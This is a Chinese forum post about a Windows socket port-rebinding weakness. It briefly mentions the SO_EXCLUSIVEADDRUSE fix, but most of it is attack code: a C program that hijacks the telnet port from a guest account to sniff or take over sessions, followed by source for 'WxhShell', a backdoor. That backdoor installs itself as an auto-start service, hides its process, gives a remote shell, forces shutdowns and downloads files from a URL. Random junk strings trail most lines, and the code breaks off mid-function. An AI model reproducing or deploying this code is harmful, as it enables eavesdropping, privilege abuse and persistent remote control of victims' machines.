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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mP pvZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e40udLH~x  
O4EIE)c  
  saddr.sin_family = AF_INET; a*Ss -y  
R zS|dGNQE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bar0{!Y"  
b,sGq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wmo{YS3t|  
yGvDn' m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Dz`k[mI  
q_T] 9d  
  这意味着什么?意味着可以进行如下的攻击: k&) K(  
CV&zi6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VLsh=v   
XDk'2ycv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H&X:!xa5  
A Jyq>0p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aDL)|>"Q  
[ $l"-*s4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  TZ_rsj/t  
x(PKFn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3ai (x1%  
; 8P_av}C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o]Wz6 L  
(kIz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pI7Ssvi^  
X9fNGM1  
  #include ,+tPRkwA^  
  #include |gnAqkW0  
  #include u#`+[AC`  
  #include    bj@xqAGl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6&89~W{  
  int main() 3;*z3;#}  
  { lv4(4$T  
  WORD wVersionRequested; :peqr!I+K  
  DWORD ret; naz:A  
  WSADATA wsaData; rA,CQypo  
  BOOL val; Xv0F:1  
  SOCKADDR_IN saddr; D?e"U_  
  SOCKADDR_IN scaddr; +W9]ED  
  int err; %3M95UZ2  
  SOCKET s; TPHYz>D]  
  SOCKET sc; |olNA*4  
  int caddsize; 0p-#f|ET  
  HANDLE mt; FV A UR  
  DWORD tid;   IX9K.f  
  wVersionRequested = MAKEWORD( 2, 2 ); 0[/vQ+O]2  
  err = WSAStartup( wVersionRequested, &wsaData ); -kl;!:'.3  
  if ( err != 0 ) { 14  H'!$  
  printf("error!WSAStartup failed!\n"); nbGoJC:U  
  return -1; 6xHi\L  
  } sAi&A9"*   
  saddr.sin_family = AF_INET; `(!NYx  
   j 1(T )T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _gKu8$o=-  
Z,WubX<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7JI:=yY!>:  
  saddr.sin_port = htons(23); !z MDP/V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b^ sb]bZW  
  { pI>*u ]x  
  printf("error!socket failed!\n"); "u;YI=+  
  return -1; vM`7s[oAK  
  } JSgpb ?(  
  val = TRUE; =}v ;1m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h* s`^W3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @EHIp{0.  
  { SK+@HnKd  
  printf("error!setsockopt failed!\n"); gg[ 9u-  
  return -1; DLi?'K3t  
  } XJSa]P^B1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R}r~p?(M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /b#q*x-b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zDDK  
P16YS8$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )~V }oKk0t  
  { 5Z{_m;I.   
  ret=GetLastError(); 4T`&Sl  
  printf("error!bind failed!\n"); }c% pH{ HI  
  return -1; KiAcA]0  
  } O8lFx_N7Q  
  listen(s,2); )iU^&@[S  
  while(1) FXahZW~Ol  
  { Uoj i@  
  caddsize = sizeof(scaddr); =g~W%})  
  //接受连接请求 +tt9R_S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zA s&%OjG  
  if(sc!=INVALID_SOCKET) A59gIp*>  
  { 9tK>gwb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KE.Dt  
  if(mt==NULL) NZk&JND  
  { ]JjK#eh  
  printf("Thread Creat Failed!\n"); :l,OalO  
  break; ,Ff n)+  
  } 1fFj:p./l_  
  } LjaGyj>)  
  CloseHandle(mt); y+U83a[L*  
  } ,l HLH  
  closesocket(s); {)@D`{$  
  WSACleanup(); m`6VKp{YD  
  return 0; exDkq0u]  
  }   qu~X.pW  
  DWORD WINAPI ClientThread(LPVOID lpParam) zizk7<?L .  
  { ^.go O]  
  SOCKET ss = (SOCKET)lpParam; rk|@B{CA;  
  SOCKET sc; Zx{96G+1  
  unsigned char buf[4096]; bik*ZC?E  
  SOCKADDR_IN saddr; >(3\k iYS  
  long num; cp6WMHLj   
  DWORD val; >72JV; W]  
  DWORD ret; g97]Y1g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r:&|vP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xA h xD|4_  
  saddr.sin_family = AF_INET; pQWHG#?7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #NNewzC<*  
  saddr.sin_port = htons(23); NfzF.{nh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =o^|bih  
  { >jx.R  
  printf("error!socket failed!\n"); A:# k  
  return -1; DBsDk kB{  
  } gfy19c 9  
  val = 100; g "hJ{{<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vl:J40Kfn  
  { s8<gK.atl  
  ret = GetLastError(); 4w$_ ]ke  
  return -1; (\,BxvhG=  
  } osH Cg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9}P"^N  
  { Gy"%R-j7  
  ret = GetLastError(); U BZ9A  
  return -1; >#(n"RCHf  
  }  !HK^AwNY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u[oUCTY  
  { h#qN+qt}  
  printf("error!socket connect failed!\n"); OqUr9?+  
  closesocket(sc); Bv9kSu9'~  
  closesocket(ss); 5[gh|I;D  
  return -1; !EBY@ Y1  
  } 0Scm? l3  
  while(1) \9{F5S z  
  { 6GL=)0Ah  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T!2=*~A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jqnCA<G~B-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D'_Bz8H!p  
  num = recv(ss,buf,4096,0); h|;qG)f^  
  if(num>0) {i [y9  
  send(sc,buf,num,0); %.HJK  
  else if(num==0) zsXpA0~3s  
  break; ..W-76{  
  num = recv(sc,buf,4096,0); s9)8b$t]  
  if(num>0) LM)`CELsYc  
  send(ss,buf,num,0); f{&bOF v  
  else if(num==0) ?KE$r~dn  
  break; V@vU"  
  } )3A{GZj#6  
  closesocket(ss); BiwieF4x  
  closesocket(sc); !mJo'K  
  return 0 ; X/0v'N  
  } 4QHS{tj  
s!+ pL|  
?]O7Ao  
========================================================== kv{}C)kt3  
Vw{*P2v)  
下边附上一个代码,,WXhSHELL g);^NAA  
hJ;$A*Y  
========================================================== B 0ee?VC  
Wp0 Dq(  
#include "stdafx.h" }8K4-[\  
YT#3n  
#include <stdio.h> ]lOh&Cz[  
#include <string.h> /+]s.V.  
#include <windows.h> s +s" MI  
#include <winsock2.h> ,e722wz  
#include <winsvc.h> NH A5e<  
#include <urlmon.h> b1#dz]  
e [h8}F  
#pragma comment (lib, "Ws2_32.lib") f9u^R=Ff[  
#pragma comment (lib, "urlmon.lib") XGrue6 ya  
`# P$ ]:  
#define MAX_USER   100 // 最大客户端连接数 S>Yj@L  
#define BUF_SOCK   200 // sock buffer S$q =;"  
#define KEY_BUFF   255 // 输入 buffer 'tgKe!-@  
hqvE!Of  
#define REBOOT     0   // 重启 _fk#<  
#define SHUTDOWN   1   // 关机 &53]sFZ  
3VO2,PCZ  
#define DEF_PORT   5000 // 监听端口 A^\.Z4=d"  
`)iY}Iu  
#define REG_LEN     16   // 注册表键长度 &[Xu!LP  
#define SVC_LEN     80   // NT服务名长度 4,Ic}CvM  
\nNXxTxX!  
// 从dll定义API dihjpI_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uz7oL8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %r\n%$@_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 21X`h3+=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dim> 7Wbh  
4BL;FO  
// wxhshell配置信息 #6v27:XK  
struct WSCFG { 'dG%oDHX]P  
  int ws_port;         // 监听端口 ]}="m2S3  
  char ws_passstr[REG_LEN]; // 口令 `r"+644  
  int ws_autoins;       // 安装标记, 1=yes 0=no JuR"J1MY  
  char ws_regname[REG_LEN]; // 注册表键名  mEG6  
  char ws_svcname[REG_LEN]; // 服务名  uF|3/x=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n.MRz WJpZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gmKGy@]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =W bOwI)u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bq\F?zk<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6RO(]5wX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C$h<Wt=<  
?t&kb7  
}; BXms;[  
hg.#DxRi{  
// default Wxhshell configuration ^n Jyo:DO;  
struct WSCFG wscfg={DEF_PORT, {PP9$>4`l  
    "xuhuanlingzhe", Yf,K#' h:  
    1, f 3V Dv9(  
    "Wxhshell", z /KK)u(q  
    "Wxhshell", ^ |~ml Y@w  
            "WxhShell Service", AN:sQX`  
    "Wrsky Windows CmdShell Service", !%+2Yifna  
    "Please Input Your Password: ", jd]s<C3o  
  1, "xI"  
  "http://www.wrsky.com/wxhshell.exe", 2"P 99$"  
  "Wxhshell.exe" 6k{2 +P  
    }; ,_aM`%q?Fj  
{'sY|lou  
// 消息定义模块 >zsid:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /-_=nf}w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x5`br.b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |:[tNs*,O  
char *msg_ws_ext="\n\rExit."; K%<j=c  
char *msg_ws_end="\n\rQuit."; g6@Fp7T  
char *msg_ws_boot="\n\rReboot..."; c .3ZXqpI;  
char *msg_ws_poff="\n\rShutdown..."; G@FI0\t  
char *msg_ws_down="\n\rSave to "; oBQ#eW aY  
$E<Esf$  
char *msg_ws_err="\n\rErr!"; fqX"Lus `=  
char *msg_ws_ok="\n\rOK!"; y.5/?{GL  
00I}o%akO  
char ExeFile[MAX_PATH]; Ars687WB  
int nUser = 0; E1dD7r\  
HANDLE handles[MAX_USER]; ^'CPM6J  
int OsIsNt; n~"$^Vr  
<?-YTY|  
SERVICE_STATUS       serviceStatus; `g8E1-]l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f0<hE2  
2]GdD*  
// 函数声明 =ph&sn$;L  
int Install(void); CTt vyr  
int Uninstall(void); rk+#GO{  
int DownloadFile(char *sURL, SOCKET wsh); mpAR7AG6  
int Boot(int flag); W>r#RXmh  
void HideProc(void); ?]fF3SJk  
int GetOsVer(void); hT$~ygQ  
int Wxhshell(SOCKET wsl); d(vsE%/!  
void TalkWithClient(void *cs); /27JevE  
int CmdShell(SOCKET sock); 2LrJ>Mi  
int StartFromService(void); b KTcZG  
int StartWxhshell(LPSTR lpCmdLine); Q9I j\HbA"  
Y2xL>F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @L.82p{h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Um1[sMc{au  
7g R@$(1Z  
// 数据结构和表定义 4&8Gr0C  
SERVICE_TABLE_ENTRY DispatchTable[] = .s#;s'>g  
{ 1h6 ^>()^  
{wscfg.ws_svcname, NTServiceMain}, >fH=DOz$&  
{NULL, NULL} D:k 3" E"S  
}; Fk(JSiU  
j1_ @qns{  
// 自我安装 |mdi]TL  
int Install(void) D9`0Dr}/2  
{ kb[P\cRa  
  char svExeFile[MAX_PATH]; iA8U Yd3Q  
  HKEY key; ~m|Mg9-  
  strcpy(svExeFile,ExeFile); KIR'$ 6pn~  
f;/QJ  
// 如果是win9x系统,修改注册表设为自启动 [V4{c@  
if(!OsIsNt) { /Q,{?';~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }2K$^u R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kYzC#.|1  
  RegCloseKey(key); 66^ycZCH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &1+X\c+t b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '9c2Q/  
  RegCloseKey(key); qwIa?!8 o  
  return 0; wApMzZ(X2y  
    } *Zm^ ~Vo  
  } Pnd `=%w%]  
} ;<UWA.  
else { `ptj?6N-  
n@ w^ V   
// 如果是NT以上系统,安装为系统服务 sA gKg=)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P&Pj>!T5  
if (schSCManager!=0) mv5n4mav  
{ yLsz8j-QJ  
  SC_HANDLE schService = CreateService V5p= mmnA,  
  ( :>p8zG  
  schSCManager, h3T9"w[  
  wscfg.ws_svcname, 9f\/\L  
  wscfg.ws_svcdisp, W8lx~:v  
  SERVICE_ALL_ACCESS, 5,)Q w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LH:i| I  
  SERVICE_AUTO_START, (`? y2n)~W  
  SERVICE_ERROR_NORMAL, /y^7p9Z`  
  svExeFile, F :6SPY y  
  NULL, =]-j;#'&  
  NULL, 6a;v&5  
  NULL, nFe%vu8a  
  NULL, %,hV[[@.  
  NULL aR,}W\6M  
  ); TYI7<-Mp:[  
  if (schService!=0) >vuY+o;B  
  { # O4gg  
  CloseServiceHandle(schService);  JHf  
  CloseServiceHandle(schSCManager); *D'$"@w3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e^ lWR]v  
  strcat(svExeFile,wscfg.ws_svcname); ]v#r4Ert  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c1%H4j4/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CRbdAqofV  
  RegCloseKey(key); fX jG5Tv  
  return 0; l2;CQ7  
    } E~LT b) !  
  } 9b?SHzAa  
  CloseServiceHandle(schSCManager); z<.?x%4O  
} Mwgu93?  
} f]7M'sy|  
\,J/ r!  
return 1; = waA`Id  
} F @Te@n  
 iD= p\  
// 自我卸载 E*?<KZe"  
int Uninstall(void) \6;=$f/?t  
{ L28*1]\Jh  
  HKEY key; t%530EB3  
)P7)0c  
if(!OsIsNt) { _0 gKK2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _gD pKEaY  
  RegDeleteValue(key,wscfg.ws_regname); mrV!teP  
  RegCloseKey(key); JsO *1{6g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "bDs2E+W  
  RegDeleteValue(key,wscfg.ws_regname); d&#~ h:~  
  RegCloseKey(key); kh%{C] ".1  
  return 0; jYiv'6z  
  } 9o>8o  
} 5wUUx#  
} ?8W( "W   
else { g#]wLm#  
.(Qx{r$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,RN:^5 p  
if (schSCManager!=0) "QvmqI>  
{ w1UA?+43  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4nAa`(62  
  if (schService!=0) 7}jWBK  
  { :{(w3<i  
  if(DeleteService(schService)!=0) { $<ld3[l i  
  CloseServiceHandle(schService); ~^+0  
  CloseServiceHandle(schSCManager); W d0NT@  
  return 0; ]tY ^0a  
  } Ew3ibXD  
  CloseServiceHandle(schService); 8BvonY t=8  
  } jNeI2-9c}  
  CloseServiceHandle(schSCManager); h5yzwj:C?  
} :UJa&$)  
} wCk~CkC?  
P]z[v)}  
return 1; ]jpu,jz:  
} b~-%c_  
<9> vO,n  
// 从指定url下载文件 ]:34kE}e5  
int DownloadFile(char *sURL, SOCKET wsh) kp\\"+,VC  
{ t\$U`V)  
  HRESULT hr; R-^96fFBy  
char seps[]= "/"; k? Xc  
char *token; 3OM2Y_  
char *file; +{]xtQB=,{  
char myURL[MAX_PATH]; vf4{$Oag  
char myFILE[MAX_PATH]; LSQz"Ll l  
L4L2O7  
strcpy(myURL,sURL); ){r2T1+-%  
  token=strtok(myURL,seps); qF iLh9=D  
  while(token!=NULL) \ u_ui  
  { z#F.xVg'  
    file=token; 4`Ic&c/  
  token=strtok(NULL,seps); sKyPosnP  
  } fg#x7v4O  
f3|@|' ;  
GetCurrentDirectory(MAX_PATH,myFILE); FYS/##r  
strcat(myFILE, "\\"); \n9zw'  
strcat(myFILE, file); l]<L [Y,E-  
  send(wsh,myFILE,strlen(myFILE),0); moVbw`T  
send(wsh,"...",3,0); Bvt@X   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~SvC[+t+U  
  if(hr==S_OK) 5Zw1y@k(  
return 0; Y wkyq>Rv  
else M# 18H<]  
return 1; .@-$5Jw  
qaim6a  
} u{z``]  
`]P pau  
// 系统电源模块 0P>OJYFr'  
int Boot(int flag) +y 87~]]  
{ WL+]4Wiz  
  HANDLE hToken; L#)(H^[  
  TOKEN_PRIVILEGES tkp; w-@6|o,S  
sE{pzPq!  
  if(OsIsNt) { kM`l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z/rTVAs@r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #yI.nzA*  
    tkp.PrivilegeCount = 1; PR|R`.QSs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,#W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5<L_|d)0"  
if(flag==REBOOT) { |y20Hi':  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m5G\}8|  
  return 0; 2 &Nb  
} G|8%qd  
else { PA w-6;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _7DkS}NJs  
  return 0; CQ;]J=|<_  
} A8A ~!2V  
  } oUQ07z\C  
  else { .Wi{lt  
if(flag==REBOOT) { a^5^gId5l!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A[WV'!A,  
  return 0; |#l=  
} Z>)][pL  
else { 1y^K/.5-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #y|V|nd  
  return 0; >+5?F*`\D*  
} ;V<iL?  
} DP/J (>eG  
$hxN hI  
return 1; >!6i3E^  
} )EyI0R]5  
+jC*'7p@  
// win9x进程隐藏模块 OdI\B   
void HideProc(void) Hx$c N  
{  htY=w}>  
C6_@\&OA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _if|TFw;h  
  if ( hKernel != NULL ) {2`=qt2  
  { }6 5s'JB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 63?)K s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Sg_t Of  
    FreeLibrary(hKernel); p (FlR?= S  
  } k#bu#YZk  
JN6-Z2  
return; bN^O }[  
} ENh!N4vbO  
9t@:4O  
// 获取操作系统版本 ~](fFa{  
int GetOsVer(void) OPBt$Ki  
{ UueD(T;p  
  OSVERSIONINFO winfo; z=&z_}M8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \RQ='/H*  
  GetVersionEx(&winfo); }Vu\(~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6I_Hd>4  
  return 1; b{DiM098  
  else 4\.V   
  return 0; $V6^G*Q  
} *s}|Hy  
C9S@v D+  
// 客户端句柄模块 W&:[r/8wA  
int Wxhshell(SOCKET wsl) zBf-8]"^  
{ !e#xx]v3  
  SOCKET wsh; {+zJI-XN/  
  struct sockaddr_in client; *5$&`&,  
  DWORD myID; AgF5-tz6x  
+)nT|w45  
  while(nUser<MAX_USER) iV.p5FD  
{ .'[/|4H  
  int nSize=sizeof(client); ,G^[o,hS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NkxCs  
  if(wsh==INVALID_SOCKET) return 1; h!&sNzX  
PU9`<3z5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j*T]HaM  
if(handles[nUser]==0) (\puf+  
  closesocket(wsh); [-*F"}D,  
else ~#:e*:ro  
  nUser++; u%O-;>J  
  } dEM ?~?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o?Sla_D   
;@ WV-bLe  
  return 0; WKA'=,`v  
} u"$a>S_  
0BkV/v1Uc  
// 关闭 socket PM$Ee #62R  
void CloseIt(SOCKET wsh) &ntBU]< q  
{ \o3"~\|6C  
closesocket(wsh); j_?cpm{~ml  
nUser--; FgA//)1  
ExitThread(0); $7I] `Jt  
} _8K%`6!"Z  
9Z\z96O-  
// 客户端请求句柄 V'Y{v  
void TalkWithClient(void *cs) xFp<7p L  
{ +-068k(  
;~HNpu$  
  SOCKET wsh=(SOCKET)cs; 1H:ea7YVU  
  char pwd[SVC_LEN]; oL/o*^  
  char cmd[KEY_BUFF]; (U.**9b;  
char chr[1]; Tc ZnmN  
int i,j; w'Z!;4E0  
7x.%hRk  
  while (nUser < MAX_USER) { !^U6Z@&/R  
{j(4m  
if(wscfg.ws_passstr) { >3;^l/2c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ](r ^.k,R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OsW"CF2  
  //ZeroMemory(pwd,KEY_BUFF); TW`mxj_J2  
      i=0; g jG2  
  while(i<SVC_LEN) { #G _/.h@  
x;$|#]+  
  // 设置超时 <Mgf]v.QS  
  fd_set FdRead; ~] =?b)B  
  struct timeval TimeOut; !"4w&bQ  
  FD_ZERO(&FdRead); snk$^  
  FD_SET(wsh,&FdRead); $CtCOwKZ  
  TimeOut.tv_sec=8; GCE!$W  
  TimeOut.tv_usec=0; ?)A2Kw>2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `]2@ _wa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _^uc 0=  
y[HQBv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *)VAaGUX>  
  pwd=chr[0]; 7{BnXN[  
  if(chr[0]==0xd || chr[0]==0xa) { hd^x}iK"  
  pwd=0; G_oX5:J*  
  break; $fArk36O#  
  } |uha 38~  
  i++; *Jnh";~b  
    } Md(JIlh3  
q&M:17+:Q  
  // 如果是非法用户,关闭 socket K_-MkY?+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =mrY/ :V  
} LZWS^77  
|Mg }2!/L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AF#_nK) @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O.:I,D&]  
D?u`  
while(1) { SfI*bJo>V  
9G:TW|)L[Q  
  ZeroMemory(cmd,KEY_BUFF); GfsBQY/  
yuNfhK/#r  
      // 自动支持客户端 telnet标准   DA <ynBQ  
  j=0; wkT;a&_  
  while(j<KEY_BUFF) { J9@}DB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (L#%!bd  
  cmd[j]=chr[0]; i>Iee^_(  
  if(chr[0]==0xa || chr[0]==0xd) { 7Jx%JgF  
  cmd[j]=0; ;/Q6 i  
  break; \RE c8nsLy  
  } ^pcRW44K  
  j++; ?iln<% G  
    } @%B4;c  
QFzFL-H~N  
  // 下载文件 Yn 1?#%%  
  if(strstr(cmd,"http://")) { VN|G5*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pf8u/?/  
  if(DownloadFile(cmd,wsh)) fNxw&ke8&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yisLypM*  
  else +Jw{qQR/*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E/"SU*Co  
  } UvD-C?u'  
  else { lwsbm D  
aYj%w  
    switch(cmd[0]) { XM!M%.0WS  
  h*'d;_(,  
  // 帮助 } J;~P 9Y  
  case '?': { S8*>kM'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [2H[5<tH  
    break; ,Oi^ySn  
  } $xcv>  
  // 安装 {bTeAfbf]  
  case 'i': { n#>5?W  
    if(Install()) `cO|RhD @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); no3Z\@%  
    else cj^bh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &|z|SY]DL  
    break; _?Ckq  
    } Doj(.wm~  
  // 卸载 :)LC gIQo  
  case 'r': { 6 6dTs,C  
    if(Uninstall()) ;Id"n7W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I7bi@t  
    else 7sguGwg)_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N(7u],(Om  
    break;  8bbVbP  
    } qL>v&Rd<  
  // 显示 wxhshell 所在路径 ' fl(N2t  
  case 'p': { RO$*G jQd  
    char svExeFile[MAX_PATH]; ]+lF=kkc %  
    strcpy(svExeFile,"\n\r"); \4@a  
      strcat(svExeFile,ExeFile); 'RQiLUF  
        send(wsh,svExeFile,strlen(svExeFile),0); EOQaY  
    break; w 06gY  
    } #W^_]Q=5R'  
  // 重启 \d5}5J]a&n  
  case 'b': { 7V/Zr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I}ndRDz[  
    if(Boot(REBOOT)) .pKN4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }+JLn%H)  
    else { AgCs;k&IG  
    closesocket(wsh); >.@MR<H#5  
    ExitThread(0); U2=hSzY  
    } 5C65v:Q`N  
    break; @|'Z@>!/pV  
    } wNR=?Z~  
  // 关机 /gX%ABmS  
  case 'd': { ebD{ pc`&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lR[z<2w\  
    if(Boot(SHUTDOWN)) 6,zDBax  
